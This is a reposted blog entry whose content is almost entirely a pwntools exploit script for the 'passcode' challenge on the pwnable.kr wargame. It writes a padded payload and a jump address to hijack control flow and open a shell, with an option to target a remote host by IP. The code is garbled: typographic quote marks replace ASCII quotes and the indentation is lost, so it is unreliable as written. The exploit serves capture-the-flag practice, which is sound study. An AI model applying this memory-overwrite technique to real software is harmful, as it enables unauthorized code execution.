标签：
#Exploit for passcode@pwnable.kr
#@Windcarp 2015.07.14
from pwn import *
#init
context(arch = ‘i386‘, os = ‘linux‘)
local=True
if local:
p = process("./passcode")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
else:
p = remote("143.248.249.64", 2222)
binary = ELF("passcode")
#address
jmpAddr_str = ‘\x00\xa0\x04\x08‘
#payload
payload = ‘a‘*96
payload += jmpAddr_str
payload2=‘134514147‘
#pause for gdb to attach
#raw_input()
#first step
#attention to fit the program well
p.recv(timeout=1)
p.send(payload + ‘\n‘)
#second step
p.recv(timeout=1)
p.send(payload2 + ‘\n‘)
#yeah!We got the shell!
p.interactive()
#nm, they didn‘t open the service!
【PWN】passcode@pwnable.kr exploit
标签：
原文地址：http://www.cnblogs.com/windcarp/p/4645696.html
